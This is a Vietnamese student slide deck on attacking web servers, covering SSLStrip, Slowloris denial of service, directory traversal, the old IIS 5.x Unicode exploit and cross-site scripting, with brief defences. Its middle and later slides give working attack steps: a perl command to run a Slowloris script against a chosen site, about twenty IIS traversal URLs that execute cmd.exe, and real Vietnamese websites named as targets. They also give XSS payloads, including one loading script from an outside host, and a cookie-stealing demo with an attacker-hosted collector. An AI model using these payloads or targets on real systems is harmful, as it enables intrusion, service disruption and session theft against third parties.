Luận văn group-Bài tiểu luận Ý thức - Giấc mơ.docx
BÀI TẬP BỔ TRỢ FRIENDS PLUS 9 - BÀI TẬP TRẮC NGHIỆM, TỰ LUẬN - CẢ NĂM (BÁM SÁ...
BÀI TẬP BỔ TRỢ FRIENDS PLUS 9 - BÀI TẬP TRẮC NGHIỆM, TỰ LUẬN - CẢ NĂM (BÁM SÁ...
CHƯƠNG 1-P2: ĐẢNG CỘNG SẢN VIỆT NAM RA ĐỜI VÀ LÃNH ĐẠO ĐẤU TRANH GIÀNH CHÍNH ...
Quản trị sự kiện........................
CHUYÊN ĐỀ BỔ TRỢ NÂNG CAO DẠNG BÀI TẬP MỚI FORM 2025 - TIẾNG ANH 12 (TỜ RƠI Q...
12894-44864-1-CE-1037-1038_Văn bản của bài báo.pdf
14. thoát vị bẹn nghẹt bệnh học ngoại khoa.pptx
Chương 2 - Mô hình thực thể kết hợp.pptx
Bài giảng Power Point 2003, hướng dẫn học tập
Set menu 3 món rất hay và hiện đại dành cho người
BÀI TẬP TEST FOR UNIT TIẾNG ANH LỚP 8 GLOBAL SUCCESS CẢ NĂM THEO TỪNG ĐƠN VỊ ...
Direct Marketing- chieu thi truyen thong
BÀI TIỂU LUẬN HẾT HỌC PHẦN TỔ CHỨC HOẠT ĐỘNG TRẢI NGHIỆM,HƯỚNG NGHIỆP Ở TRƯỜN...
Triết học: Vận dụng nguyên tắc phát triển trong nhận thức và hoạt động thực...

Dos web server it-slideshares.blogspot.com

  • 1. GVHD:TS Phạm văn Tính Thành viên Nguyễn Tấn Mơ Nguyễn Bình Minh Nguyễn Thạch Lê Phú Duyên
  • 2. I.Khái niệm web server II. Các lỗi thường gặp trên Web server III. Giới thiệu công cụ Web vulnerability scanner Metasploit IV.Chi tiết một số lỗi XSS (Cross-Site Scripting) SSLStrip Directory Traversal Attack IIS(Internet Information Service) V.DEMO
  • 3. Web Server (máy phục vụ Web): máy tính mà trên đó cài đặt phần mềm phục vụ Web, đôi khi người ta cũng gọi chính phần mềm đó là Web Server. Dos Webserver :khai thác các lỗi trên web server
  • 4. Tất cả các Web Server đều hiểu và chạy được các file *.htm và *.html,tuy nhiên một số Web server lại phục vụ cho một số file riêng biệt IIS của Microsoft:ASP,ASPX.. Apache :PHP Sun Java System Web Server của SUN:dành cho JSP
  • 5. XSS (Cross-Site Scripting) SSLStrip Directory Traversal Attack Web Server Technologies CGI Tester Code execution Cookie manipulation CRLF injection XFS vulnerability Email Injection File inclusion File tampering Full path disclosure Remote XSL inclusion Script source code disclosure SQL injection URL redirection XPath Injection vulnerability Blind SQL/XPath injection ………
  • 6.  
  • 7. Acunetix WVS (Web Vulnerability Scanner) là công cụ dừng để kiểm tra mức độ bảo mật của các website ,nó sẽ tự động kiểm tra các ứng dụng Web để tìm kiếm các lỗ hổng bảo mật như SQL Injection, hay Cross-Site Scripting … Nó có thể quét bất cứ trang web nào truy xuất bằng trình duyệt web thông qua giao thức Http và Https .
  • 8. Sau quá trình thu thập thông tin WVS sẽ phân tích từng trang nơi có dữ liệu đầu vào từ đó sẽ đưa ra các cách khai thác khác nhau trên mỗi trang tìm được. Sau khi quét xong thì dữ liệu sẽ được lưu xuống database và có thể xuất ra báo cáo trong suốt quá trình quét.
  • 9.  
  • 10.  
  • 11.  
  • 12.  
  • 13.  
  • 14.  
  • 15.  
  • 16.  
  • 17.  
  • 18.  
  • 19. High : nguy hiểm nhất có nguy cơ tối đa trong việc hacker và trộm cắp dữ liệu. Medium : được gây ra bởi máy chủ dựa vào sai sót trong việc cấu hình tạo điều kiện cho việc phá vỡ thâm nhập vào máy chủ và thư mục. Low : thường tạo ra do dữ liệu không được mã hóa khi gửi đi -> tiết lộ đường dẫn thư mục Information : tiết lộ các thông tin thông qua chuỗi tìm kiếm.
  • 20. Site Crawler Target Finder Subdomain Scanner Blind SQL Injection HTTP Editor HTTP Sniffer HTTP Fuzzer Authentication Tester
  • 21.  
  • 22.  
  • 23.  
  • 24.  
  • 25.  
  • 26.  
  • 27.  
  • 28.  
  • 29. SSLStrip Directory Traversal Attack Cross Site Scripting (XSS)
  • 30. Mô tả Cách SSLStrip hoạt động Các bước thực hiện Cách Phòng chống SSLStrip
  • 31. Cơ chế hoạt động của SSLStrip là Attacker chạy Script viết bằng Python thì khi đó các máy trong LAN sẽ đi ra Internet thông qua máy Attacker lúc này máy Attacker giống như Proxy
  • 32. Các connection nào từ Client đi ra Internet theo dạng https thì bị SSLStrip drop, chỉ cho đi theo dạng http. Ví dụ: Client gõ vào URL: https://mail.google.com thì khi này SSLStrip nó sẽ drop gói tin đó đồng thời báo cho Client là mày cứ đi ra theo http://mail.google.com và trên Web Browser của client sẽ hiện ra 1 bảng thông báo sai cert. Nhưng client truy cập vào gmail theo http ( user+pass được POST lên gmail theo dạng Plaintext => khi này thì attacker dễ dàng làm việc với các gói tin đi theo dạng http.)
  • 33. Tạo một Main In The Middle trên các kết nối HTTP Thay thế tất cả các liên kết với những HTTPS bằng HTTP Giao tiếp với máy nạn nhân với một kết nối HTTP cho tất cả các kết nối HTTPS Giao tiếp với server với liên kết HTTPS Tạo proxy giữa Client và Server Thay thế các hình ảnh như favicon bằng những hình ảnh quen thuộc như các khóa an toàn Lúc này Clinet bị đánh cắp những thông tin quan trọng mà không biết
  • 34.  
  • 35.  
  • 36. Target Using Facebook Attacker: sslstrip Proxy in the Middle To Internet HTTP HTTPS
  • 38. Bước 1: Client gửi request tới web server với phương thức. Để lấy những thông tin cần thiết. Bước 2:Attracker đóng vai trò proxy ở giữa bắt được request và chuyển sang phương thức https và chuyển đến web server. Bước 3: web server sẽ gửi những reponse về cho attracker. Bước 4: Atrracker sẽ chuyển lại những nội dung vừa nhận từ web server tới client nhưng được attracker chỉnh sửa lại giống y như trang gửi về của web server. Lúc này người dùng cứ tưởng mình đang kết nối trực tiếp với Web server mà mình đang thao tác.
  • 39. Mức độ nguy hiểm cao Cách tấn công này chưa thể dò tìm ra và cho phép tin tặc đánh cắp mật khẩu, hijack vào các phiên giao dịch ngân hàng trực tuyến hay thậm chí là đưa ra một bản cập nhật trình duyệt FireFox có đính kèm mã độc&quot;,
  • 40. Khi truy cập website thì nên gõ theo dạng https://website và nhớ click vào biểu tượng ổ khóa khi lướt web xem có phải certificate đó có phải là của web đó ko hay là cert giả mạo.
  • 41. Mô tả Demo Cách phòng chống
  • 42. Do Apache mở socket và nhận data từ client (3-way handshakes đã hoàn tất) cho mọi request đi vào và giới hạn mặt định max_client là 150 . Vì vậy khi slowloris gửi tới server những http request k hông hoàn chỉnh, apache phải chờ cho http request này time out, mặt định là 300s. Nếu slowloris gửi liên tục các request này tới webserver thì chỉ trong vài giây apache đã đạt max_client, từ chống phục vụ các client khác.
  • 43. Với g iá trị TimeOut của apache thì nó ấn định cho 3 điều chính: 1. Thời gian cần thiết để nhận trọn vẹn một gửi bằng GET 2. Thời gian giữa các gói tin TCP gửi bằng POST hoặc PUT (có chứa data). 3. Thời gian giữa các cú TCP ACK trong quá trình chuyển tải dữ liệu giữa client (browser) và web server (apache).
  • 44. Nếu apache không dùng giá trị TimeOut chung như thế này mà gán TimeOut cụ thể cho từng loại GET, POST, HEAD.... thậm chí cụ thể hơn cho từng ấn định như LimitRequestLine, LimitRequestFieldSize.... thì TimeOut cho loại này có thể được kiểm soát chặt chẽ và hữu lý hơn
  • 45. Cơ chế xử lý một request của apache khá chặt chẽ, nó có đến 7 phase khác nhau (unescapes URL, strips parent and elements from the URI, initial URI location walk, translate_name, Hook: map_to_storage, URI location walk, Hook: header_parser). Tuy nhiên, đến phase &quot;parse&quot; header của một HTTP request thì nó bị &quot;chết&quot; bởi slowloris vì apache hoàn toàn không có cơ chế nào kiểm tra nội dung của header cho đến khi nó nhận được đầy đủ (dựa vào CRLF character trên HTTP header). Socket do slowloris khởi tạo vẫn giữ nguyên ở đó và apache vẫn chờ cho đến khi TimeOut.
  • 46. Yêu cầu : Dùng phần mềm ActivePerl Có file dosapche.pl Vào cmd gõ lệnh : perl tên đường dẫn chứa file dosapche.pl –dns tên trang web cần dos
  • 47. R út ngắn TimeOut xuống đến mức tối thiểu thì slowloris trở nên vô tác dụng nhưng sẽ ảnh hưởng tới các rerequest khác không phả do slowloris gửi tới. Dùng iptables chặn những những ip gửi nhiều request liên tục ( Phương án này có thể dẫn đến việc chặn nhầm các proxy) . Dùng haproxy để cho gửi những request hoàn chỉnh tới apche. Dùng mod_antiloris giới hạn số lượng kết nối đồng thời của 1 địa chỉ ip giử những request tới
  • 48. Khái niệm Directory Traversal Attack theo ứng dụng web Directory Traversal Attack theo Webserver Làm thế nào để kiểm tra lỗ hổng Directory Traversal Ngăn chặn Directory Traversal Attack Tác hại
  • 49. Kiểm soát việc truy cập nội dung của 1 trang web là rất quan trọng đối với 1 webserver. Directory Traversal Attack Path Traversal hay còn được biết với một số tên khác như “dot-dot-slash”, “directory traversal”,”directory clumbing” và “backtracking” là hình thức tấn công truy cập đến những file và thư mục mà được lưu bên ngoài thư mục webroot. Máy chủ web cung cấp hai cấp độ chính của cơ chế bảo mật: Access Control Lists (ACLs) và Root directory
  • 50. Access Control Lists (ACL) được sử dụng trong quá trình uỷ quyền. Nó là một danh sách mà các máy chủ web của quản trị viên sử dụng để chỉ những người dùng hoặc các nhóm có thể truy cập, sửa đổi hoặc thực thi các tập tin cụ thể trên máy chủ, cũng như quyền truy cập khác.
  • 51. Các thư mục gốc là một thư mục cụ thể trên hệ thống tập tin máy chủ trong đó người sử dụng bị hạn chế. Người dùng không thể truy cập bất cứ điều gì ở trên gốc này.
  • 52. Ví dụ: các thư mục gốc mặc định của IIS trên Windows là C: \ Inetpub \ wwwroot và với thiết lập này, một người dùng không có quyền truy cập vào C: \ Windows nhưng có quyền truy cập vào C: \ Inetpub \ wwwroot \ và bất kỳ thư mục khác và các tập tin theo thư mục gốc (được cung cấp cho người dùng được xác thực thông qua ACL).
  • 53. Lỗ hổng này có thể tồn tại hoặc trong các phần mềm máy chủ web riêng của mình hoặc trong mã ứng dụng web. Để thực hiện một cuộc tấn công theo cây thư mục, tất cả các nhu cầu của kẻ tấn công là một trình duyệt web và một số thông tin tìm thấy trongbất kỳ tập tin và thư mục mặc định trên hệ thống.
  • 54. Trong các ứng dụng web với các trang dynamic, input thường nhận được từ các trình duyệt thông qua phương thức GET hoặc yêu cầu POST. Dưới đây là một ví dụ của một yêu cầu HTTP GET URL: http://test.webarticles.com/show.asp?view=oldarchive.html
  • 55. Với URL này, trình duyệt yêu cầu hiển thị show.asp động từ máy chủ và cùng với nó cũng sẽ gửi tham số “View&quot; với giá trị của &quot;oldarchive.html&quot;. Khi yêu cầu này được thực thi trên máy chủ web, show.asp tìm file oldarchive.htm từ hệ thống tập tin của máy chủ, gửi nó trở lại trình duyệt sau đó hiển thị cho người dùng.
  • 56. Hackers sẽ giả định rằng show.asp có thể lấy các tập tin từ hệ thống tập tin và gửi URL tuỳ chỉnh: http://test.webarticles.com/show.asp?view=../../../../../Windows/system.ini  Trang web sẽ lấy file system.ini từ hệ thống tập tin và hiển thị nó cho người dùng.
  • 57. Những biểu hiện .. / hướng dẫn của hệ thống để đi một trong những thư mục cao hơn mà thường được sử dụng để chứa các file hệ thống. Kẻ tấn công có thể đoán được thư mục có bao nhiêu cấp để tìm thư mục Windows trên hệ thống, nhưng đây là một cách dễ dàng thực hiện bằng cách thử với các cấp khác nhau.
  • 58. Ngoài lỗ hổng trong các mã,Ngay cả bản thân webserver cũng có thể tạo điều kiện cho các cuộc tấn công Directory Traversal . Lỗi có thể phát sinh do phần mềm web server hoặc trong một số file script có sẵn trên server.
  • 59. Lỗi đã được phát sinh sẵn trong các phiên bản của phần mềm werver web, có những webserver trực tuyến mà vẫn còn sử dụng phiên bản cũ của IIS và Apache mà có thể mắc lỗi Directory Traversal. Bạn có thể có một số thư mục mặc định chứa những file Script nhạy cảm có thể khai thác được, cũng được hacker khai thác.
  • 60. Ví dụ: một yêu cầu URL làm cho việc sử dụng thư mục script của IIS tới thư mục đi qua và thực thi một lệnh có thể được: http://server.com/scripts/..%5c../Windows/System32/ cmd.exe?/c+dir+c:\ cmd.exe? / c + dir + c: \ “ % 5c” là 1 mã trong URL yêu cầu một webserver sử dụng để đại diện cho kí tự thường dùng. Trong trường hợp này “% 5c” đại diện cho các ký tự &quot;\&quot;.
  • 61. Những phiên bản mới của các phần mềm webserver sẽ cấm và không co các mã này hoạt động.Tuy nhiên một số phiên bản cũ hơn, không lọc ra các mã trong thư mục gốc và sẽ cho phép hacker thực thi lệnh đó. Các yêu cầu sẽ trả lại cho người dùng một danh sách tất cả file trong ổ C: \ bằng cách thực hiện lệnh &quot;dir c: \&quot; trong cmd .
  • 62. Trong quá trình khai thác kẻ tấn công có thể encode hoặc double encode, sử dụng %00(null) để bypass filter mà Website đó áp dụng. %2e%2e%2f mô tả cho ../ %2e%2e/ mô tả cho ../ ..%2f mô tả cho ../ %2e%2e%5c mô tả cho ..\ %2e%2e\ mô tả cho ..\ ..%5c mô tả cho ..\ %252e%252e%255c mô tả cho ..\ ..%255c mô tả cho ..\ … Đối với UTF-8 ..%c0%af mô tả cho ../ ..%c1%9c mô tả cho ..\
  • 63. Khi tiếp cận với một ứng dụng Web, việc kiểm tra nó có khả năng bị lỗi Path Traversal có thể được thực hiện bằng hai loại: + Nếu kẻ tấn công không thể có source thì chúng sẽ dùng spider, crawler để thực hiện kiểm tra Website và từ những kết quả mà spider mang lại chúng sẽ lần lượt kiểm tra các biến đối với các phương thức GET, POST hoặc COOKIE mà có khả năng bị lỗi.
  • 64. + Nếu kẻ tấn công có source code thì có thể tìm kiếm những hàm của những ngôn ngữ lập trình Web mà có khả năng gây ra lỗi Path Traversal như : PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ... JSP/Servlet: java.io.File(), java.io.FileReader(), ... ASP: include file, include virtual, ...
  • 65. Cách tốt nhất để kiểm tra xem trang web và các ứng dụng của bạn là dễ bị tấn công Directory Traversal là sử dụng một Web Vulnerability Scanner. Web Vulnerability Scanner scan toàn bộ trang web của bạn và tự động kiểm tra lỗ hổng Directory Traversal. Nó sẽ thông báo các lỗi và làm thế nào để sửa chữa nó.
  • 66. Trước hết, đảm bảo bạn đã cài đặt phiên bản mới nhất của phần mềm Webserver (ISS, Apache) bạn đang dùng, và chắc chắn rằng tất cả các bản vá lỗi đã được áp dụng. kiểm tra biến cẩn thận (có thể áp dụng filter) khi sử dụng các hàm đã giới thiệu ở trên mà có khả năng gây ra lỗi cho phép kẻ tấn công thực hiện Path Traversal.
  • 67. Với một hệ thống dễ bị Directory Traversal, kẻ tấn công có thể làm cho việc sử dụng lỗ hổng này truy cập các bộ phận khác của hệ thống tập tin từ thư mục gốc. Điều này có thể cung cấp cho những kẻ tấn công khả năng xem những tập tin bị giới hạn, hoặc thậm chí nguy hiểm hơn, cho phép kẻ tấn công thực thi lệnh trên webserver,có thể dẫn đến hacker có quyền đầy đủ trên hệ thống.
  • 68. Tuy nhiên một số filter như sau: str_replace(&quot;../&quot;,&quot;&quot;,$_GET['help_file']) thì vẫn bị lỗi bởi lẽ kẻ tấn công có thể sử dụng “….//” như thế sau khi qua code lọc ở trên nó sẽ trở thành “../”. Rõ ràng việc lọc như vậy vẫn không triệt để.Thay vào đó các bạn nên sử dụng các biểu thức chính để lọc tốt hơn. eregi(&quot;[\\/]&quot;,&quot;{$_GET['help_file']}&quot;)
  • 69. KHÁI NIỆM HOẠT ĐỘNG NHƯ THẾ NÀO PHÁT HIỆN XSS BẰNG CÁCH NÀO ? CÁCH PHÒNG CHỐNG LỖI XSS DEMO
  • 70. IIS(Internet Information Service ) là 1 ứng dụng webserver mang thương hiệu của Microsoft. IIS server với các phiên bản từ trước đến phiên bản 5.x đều có lỗi để ta có thể khai thác , mặc định tính năng &quot;hit highlight&quot; của IIS 5.x bỏ qua giai đoạn chứng thực cơ bản.
  • 71. Lỗi nằm ở phần lọc .IDA ISAPI (Internet Services Application Programming Interface), nó cho phép một máy tính từ xa đưa lệnh yêu cầu liệt kê danh sách file có trong hệ thống máy. Hacker có thể sử dụng thủ thuật đơn giản là gửi cho máy chủ một khối lượng xử lý thông tin nhiều hơn khả năng của nó. Lượng thông tin chưa kịp xử lý đó - về mặt kỹ thuật được gọi là “shell code” - có thể mang một loạt các câu lệnh, cho phép kẻ xâm nhập kiểm soát máy tính nạn nhân.
  • 72. http://www.cantho.gov.vn/ http://www.cantho1260.net/ http://hanhtrangsinhvien.net/ http://hauionline.com http://daynghedientu.com/ http://sinhvienbinhdinh.vn/ … Do lỗi này đã lỗi thời nên có thể 1 số trang này đã fix được lỗi trên
  • 73. Để hack IIS server 5.x ta dùng 2 công cụ activeperl ,IE và 1 exploit: Unicode.pl Xác định trang web mắc lỗi này: Sử dụng telnet để xác định trang Web ta tấn công có sử dụng IIS server 5.0 hay không. telnet < tên trang Web > 80 GET HEAD / HTTP/1.0 Nếu nó không báo cho ta biết trang web đang sử dụng chương trình gì thì các bạn hãy thay đổi cổng 80 bằng các cổng khác như 8080, 81, 8000, 8001 .v.v…
  • 74. Sau khi đã xác định được mục tiêu các bạn vào Run > CMD gõ : code perl unicode.pl Host: ( gõ địa chỉ server mà các bạn muốn hack ) Port: 80 ( hoặc 8080, 81, 8000, 8001 tuỳ theo cổng mà ta đã telnet trước đó ) .
  • 75. Các bạn sẽ thấy bảng liệt kê lỗi ( đã được lập trình trong Unicode.pl ) như sau : [1] /scripts/..%c0%af../winnt/system32/cmd.exe?/c+ [2]/scripts..%c1%9c../winnt/system32/cmd.exe?/c+ [3] /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+ [4]/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+ [5] /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+ [6] /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+ [7] /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+ [8] /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+ [9] /scripts/..%c1%af../winnt/system32/cmd.exe?/c+ [10] /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+ [11]/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+ [12] /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+ [13]/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+ [14]/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe?/c+ [15]/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+ [16]/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+ [17]/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+ [18]/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+ [19]/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+ [20]/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
  • 76. Các bạn sẽ thấy được tất cả các lỗi trên nếu trang Web nạn nhân bị tất cả những lỗi như vậy , nếu server của nạn nhân chỉ bị lỗi thứ 13 và 17 thì bảng kết quả chỉ xuất hiện dòng thứ 13 và 17 mà thôi . VD bảng kết quả cho ta biết trang Web nạn nhân bị lỗi thứ 3 và 7 , ta sẽ vào IE và nhập đoạn mã tương ứng trên Address : http://www.4rum.com/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+ < == lỗi dòng thứ 3 hoặc http://www.4rum.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+ < == lỗi dòng thứ 7
  • 77. VD: Để thấy được nội dung ổ C, ta gõ địa chỉ sau: http://www.tnh.com.vn/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ Thường thì source trang web đặt ở: inetpub\wwwroot
  • 78. Microsoft khuyến cáo người dùng nên nâng cấp lên phiên bản IIS 6.0 với khả năng bảo mật tốt hơn. Dù vậy nhưng Microsoft vẫn không xem lỗi IIS 5.x là một lỗi thực sự và không phát hành bản vá lỗi. Thay vào đó Microsoft lại đưa ra một hướng dẫn 6 bước nhằm giúp người dùng giảm bớt nguy cơ bị tấn công.
  • 79. Cross-Site Scripting: (hay còn được gọi tắt là XSS ) là một kĩ thuật tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ...) những thẻ HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng
  • 80. Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các Client-Site Script như JavaScript, Jscript ...và cũng có thể là cả các thẻ HTML.
  • 81. Về cơ bản XSS cũng như SQL Injection nó cũng là các yêu cầu (request) được gửi từ các máy client tới server nhằm chèn vào đó các thông tin vượt quá tầm kiểm soát của server. Có thể là một request được gửi từ các form dữ liệu hoặc cũng có thể đó chỉ là các URL
  • 82. Attacker sẽ chèn các đoạn mã vào link của đường dẫn, để thực thi trên trình duyệt của người dùng, dẫn đến việc mất cookies , mật khẩu, session hay fishing lừa đảo hay chèn virus... Xss thường có dạng như sau: http://www.hcmuaf.edu.vn/contents.php?ids= “<script>alert(22222)</script>” &ur=admin Kết quả một thông báo  22222.
  • 83. C1:Dùng các tool để quét các trang web:các tool hỗ trợ sẽ tìm kiếm lỗi: C2:Chèn vào các đoạn script vào các form input:bao gồm 5 bước sau đây
  • 84. B1:Mở website cần khai thác: B2: Xác định các site có form để nhập dữ liệu input như là đăng nhập,tìm kiếm,comment nhập vào một chuỗi text:ở đây nhập “xss” B3:Xem thông tin trả về:nếu chúng ta thấy như sau:“Các chữ bạn tìm không thấy trong dữ liệu.” ‘Tài khoản XSS không chính xác’ ‘Đăng nhập với XSS không thành công’…
  • 85.  
  • 86. B4:Khi xác định được vùng lỗi thì ta chèn các đoạn script để tiếp tục xác định lỗi Vd: <SCRIPT>alert(xss)</SCRIPT> Nếu như kết quả trả về là một thông báo:xss thì chắc chắn trang đó bị lỗi xss Nếu không hiện được thông báo thì ta viewsouce lên và tìm từ xss nếu có thì chắc chắn bị lỗi B5: Lập kế hoạch tấn công
  • 87.  
  • 88.  
  • 89. B4:Ta sẽ chèn các đoạn script có dạng như sau vào thanh nhập địa chỉ hay các form đăng nhập Ví dụ:xuất ra một thông báo là xss “ <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>” “ <SCRIPT>alert(xss)</SCRIPT>” “ <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>” &quot;<IMG SRC=javascript:alert('XSS')>“ “ <SCRIPT>alert(%31%32%32%33)</SCRIPT>”  mã hex value url “ <SCRIPT>alert(&#x78;&#x73;&#x73;)</SCRIPT>”  mã hex value html Tham khảo trên http://ha.ckers.org/xss.html
  • 90. Một tấn công XSS chỉ thực hiện được khi gửi một trang web cho trình duyệt web của nạn nhân có kèm theo mã script độc của kẻ tấn công Vì vậy các người phát triển web phải có chế độ lọc dữ liệu input hoặc web server phải có chế độ mã hóa
  • 91. Lọc:bằng cách lọc các kí tự meta (kí tự đặc biệt) được định nghĩa trong đặc tả của HTML. Mã hóa:Mã hóa phía máy chủ là một tiến trình mà tất cả nội dung phát sinh động sẽ đi qua một hàm mã hóa nơi mà các thẻ script sẽ được thay thể bởi mã của nó.
  • 92. Ý nghĩa của đoạn demo là lấy cookie của người dùng thông qua lỗi xss B1:Tìm lỗi trên vieclambank.com B2:Attacker tạo host định sẵn,gồm 4 file sau + index.html :thực hiện script + luu.txt: lưu cookie + xuli.php :xử lý cookie + xss.js :lấy cookie B3: Attacker gửi email tới người dùng trong đó sẽ có đường link đến trang attacker.
  • 93. B4:Người dùng đăng nhập vào vieclambank B5:Người dùng truy cập vào email nhấn vào link sang trang attacker B6:Attacker lấy cookie về và sử dụng.
  • 94.  
  • 95.  
  • 96.  
  • 97.  
  • 98.  
  • 99.  
  • 100.  
  • 101.  
  • 102.  
  • 103.  
  • 104.  
  • 105.  
  • 106.  
  • 107.  
  • 108.  

Editor's Notes

  • #32: python là 1 ngôn ngữ lập trình, bàn đạp cho các chương trình mà nó hỗ trợ Python là một ngôn ngữ lập trình hướng đối tượng, chạy được trên nhiều hệ điều hành khác nhau như Windows, Linux, Unix, Mac. Nó Đơn giản như các shellscript nhưng lại thực sự là ngôn ngữ để phát triển ứng dụng cấp siêu cao (very-high-level-language). Python cho phép bạn chia nhỏ chương trình thành các module (tương tự java) mà có thể chạy độc lập không cần chương trình gốc. Đây là 1 ngôn ngữ dạng thông thịch (interpreter language), do vậy bạn không phải tốn thời gian để biên dịch, liên kết..., mà chỉ viết và chạy. Cú pháp của Python rõ ràng và ngắn gọn hơn nhiều so với C/C++, nó được đánh giá là ngôn ngữ có số lần gõ phím ít nhất khi viết chương trình tương tự với các ngôn ngữ khác như C/C++, Java ... Ngôn ngữ Python được phát triển theo GNU, hoàn toàn miễn phí, và open source code, có nghĩa là bạn có thể dùng python để phát triển các ứng dụng của mình mà không cần phải trả bất kỳ 1 chi phí nào. Điều này hoàn toàn không có ở các ngôn ngữ khác như VC++, Delphi, VB,...
  • #38: J vf
  • #70: Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất hiên nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển web và cả những người sử dụng web. Bất kì một website nào cho phép người sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS.